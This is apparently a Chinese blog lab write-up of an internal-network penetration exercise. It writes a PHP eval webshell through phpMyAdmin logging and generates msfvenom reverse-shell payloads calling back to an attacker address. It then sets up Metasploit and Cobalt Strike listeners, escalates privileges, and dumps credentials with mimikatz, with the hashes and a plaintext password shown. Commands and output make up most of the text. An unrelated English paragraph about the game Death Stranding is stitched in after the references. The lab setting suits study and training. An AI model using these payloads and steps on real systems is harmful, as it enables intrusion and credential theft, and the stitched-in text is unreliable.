内网实验1:getshell、上线提权、抓取主机密码


概述

  实验目标:省略外部打点过程,侧重于拿到system权限之后的事宜。

  环境情况如下,发现宿主机难以访问Win7服务器,可以用Kali访问。
  过了一段时间,重新打开电脑和虚拟机,发现开启桥接模式的Kali和Win7可以相互ping通,但都无法与宿主机交互,ping不通。实验机器如下:

三台主机都开启VMnet0的桥接模式,VMnet0的桥接模式选择"桥接至自动"。
	Kali攻击机1:192.168.43.57
	Kali攻击机2:192.168.43.58(作为CS服务端,用于Windows主机上线。比赛的时候可以用队友主机)
	Win7外网服务器:192.168.43.100

实验1:打点拿shell

  概述:Kali机访问192.168.43.100/phpMyAdmin,弱口令root/root登录。

  phpMyAdmin通过日志写木马:

用途命令结果
查看日志状态show variables like ‘%general%’;general_log:OFF。general_log_file。
开启全局日志SET GLOBAL general_log=‘on’
设置路径SET GLOBAL general_log_file=‘C:\phpStudy\www\shell.php’可访问、可执行
写木马select ‘<?php @eval($_POST[shell]);?>’执行成功

  访问192.168.43.100/shell.php,提示403,应该是因为刚装的phpstudy没有配置。
直接在Win7的www目录下写入shell.php,进入下一步骤。


实验2:上线提权并抓取密码

  问题:Kali没有安装蚁剑。
解决:使用Kali安装蚁剑,详情查看博客内的安装教程。
踩坑:复制物理机的桥接模式,在VMnet0中必须选择网卡,不能选择自动,否则没网。
  问题:已知msf生成exe上线meterpreter,但CS如何上线?
解决:推测cs的服务端和客户端可以在一台主机上同时运行,通过端口转发确实可以。

1.上线MSF提权并抓取密码

  (1)msfvenom生成木马

	使用windows反连程序.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.57 LPORT=7777 -f exe > /home/blade/MyFiles/MSF_Horse/inlab1-202105/Win7_43100.exe
(亲测可行,上次可行,这次也可行)
	
	生成php反连程序.php,访问Win7_43100.php使执行
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.57 LPORT=7777 -f raw > /home/blade/MyFiles/MSF_Horse/inlab1-202105/Win7_43100.php
	(亲测被杀)
	反连被杀信息:[*] 192.168.43.100 - Command shell session 1 closed.

  (2)使用MSF的handler模块接收反弹模块,使用蚁剑上传,在蚁剑的命令行执行命令Win7_43100.exe,执行文件,反连成功。

	msfconsole
	
	Windows反连
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.57(攻击机地址)
set LPORT 7777
exploit
	
	php反连,会杀“session closed”,可以考虑做免杀绕过
use exploit/multi/handler
show options
set LHOST 192.168.43.57(攻击机地址)
set LPORT 7777
run

在这里插入图片描述  (3)使用meterpreter查看系统信息和用户身份,以及提权等操作。
切换:meterpreter通过shell命令进入shell,shell通过exit命令退回到meterpreter。

目的meterpreter命令结果
查看系统信息sysinfo-
查看当前用户getuidGOD\Administrator
后台运行会话,返回MSF页面background-
查看所有会话show sessions-
恢复与会话的交互sessions -i 会话id-
直接提权getsystem成功提权…got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
bypassuac模块提权use exploit/windows/local/bypassuac_eventvwrbypassuac提权失败,可以尝试i_eventvwr

在这里插入图片描述

  (4)使用meterpreter抓取Windows主机密码。
昨天的session已经没了,重新use exploit/multi/handlerset payload xxx
使用蚁剑执行exe木马。(每一次执行木马都需要用蚁剑连接后门,还是php等木马方便)

  运行load mimikatz,发现最近版本msf6中,mimikatz被kiwi模块合并了。
查看kiwi的使用指南:help kiwi
列举所有凭据:creds_all
列举所有kerberos凭据:creds_kerberos
调用kiwi_cmd执行mimikatz命令:kiwi_cmd sekurlsa::logonpasswords

  Kiwi的使用,发现执行命令没有结果或报错。
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process
  网上查找资料,mimikatz模块需要两个条件:
1.权限Admistrator或system;2.支持32/64位,但默认加载32位,对于64位很多模块无法默认加载,需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。
在这里插入图片描述
在这里插入图片描述


2.上线CS提权并抓取密码

  (1)启动CS客户端和服务端,生成木马并通过蚁剑上传,完成上线。
  Kali机开启CS服务端:./teamserver 192.168.43.57 123456
  如果想在Kali同时启动CS服务端,正常启动登录会报错"网络不可达"。
[!] Trapped java.net.SocketException during client connect [dialog action: Connect]: 网络不可达 (connect failed)

  服务端:使用Kali攻击机2作为CS服务端:在192.168.43.58主机上开启服务端,
./teamserver 192.168.43.58 123456
  客户端:kali攻击机1连接服务端:./start.sh,输入服务端ip和口令,连接成功。

  生成木马:首先设置监听,填写服务端的IP地址和监听端口。
生成木马,Attack->Packages->Windows Executable。
打开蚁剑,上传生成的32位可执行木马文件。在蚁剑中执行木马,上线成功。

在这里插入图片描述

在这里插入图片描述
  (2)使用CS抓取Windows主机密码。右键选择上线主机,Access->Run mimikatz。
  在beacon中输入getsystem提权
  在beacon中输入getuid查看当前身份
  在beacon中输入hashdump查看密码,可以看到3个用户的哈希
  在beacon中输入logonpasswords抓取密码,找出了5个Authentication Id,其中包含Administrator及其明文口令。

  还可以上传biLaZagne.exe,获取当前主机各个软件存储的密码。

在这里插入图片描述

beacon> loginpasswords
[-] Unknown command: loginpasswords
beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 296058 bytes
[+] received output:

Authentication Id : 0 ; 643369 (00000000:0009d129)
Session           : Interactive from 1
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2021/5/11 7:27:15
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : edea194d76c77d87840ac10a764c7362
	 * NTLM     : 8a963371a63944419ec1adf687bb1be5
	 * SHA1     : 343f44056ed02360aead5618dd42e4614b5f70cf
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : hongrisec@2019
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : hongrisec@2019
	ssp :	
	credman :	


参考

  《ATT&CK实战 | 红队评估一(上)》
https://www.freebuf.com/column/230476.html

  《msf_bypassuac提权》,2018-05
https://blog.csdn.net/DarkHQ/article/details/80410461

  《渗透工具之msf》,2019-03。(对MSF命令的说明,很有用)
https://blog.csdn.net/rentian1/article/details/88921336

  《使用msf的kiwi模块获取靶机明文密码,提示32位mimikatz无法接入64位程序怎么处理?》,2021-05,https://www.zhihu.com/question/458777798

  《Metasploit-进阶用户密码与mimikatz模块kiwi模块》, 2020-10
https://blog.csdn.net/qq_38626043/article/details/109388147

Death Stranding is a video game developed by Kojima Productions and published by Sony Interactive Entertainment. It was released for the PlayStation 4 in November 2019 and for Microsoft Windows in July 2020. The game was directed by Hideo Kojima, who is also known for creating the Metal Gear Solid series. The game takes place in a post-apocalyptic world where supernatural creatures known as "Beached Things" (BTs) roam the land. The player takes on the role of Sam Porter Bridges, a courier tasked with delivering packages and connecting isolated communities in this fragmented world. As Sam travels across the landscape, he must navigate treacherous terrain, avoid hostile enemies, and manage his resources to survive. One of the unique features of the game is its focus on social connections. Players can build structures and leave supplies for other players to use, and they can also receive help from other players in the form of shared resources and information. The game also features a complex storyline that explores themes of life, death, and human connection. The game has received mixed reviews, with some critics praising its innovative gameplay and storytelling, while others have criticized its slow pacing and convoluted narrative. Despite these mixed reviews, the game has developed a passionate fanbase and has been praised for its artistic and philosophical themes. In summary, Death Stranding is a post-apocalyptic video game that follows the journey of Sam Porter Bridges as he navigates a dangerous and fragmented world to deliver packages and connect isolated communities. The game features a unique focus on social connections and explores themes of life, death, and human connection.
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值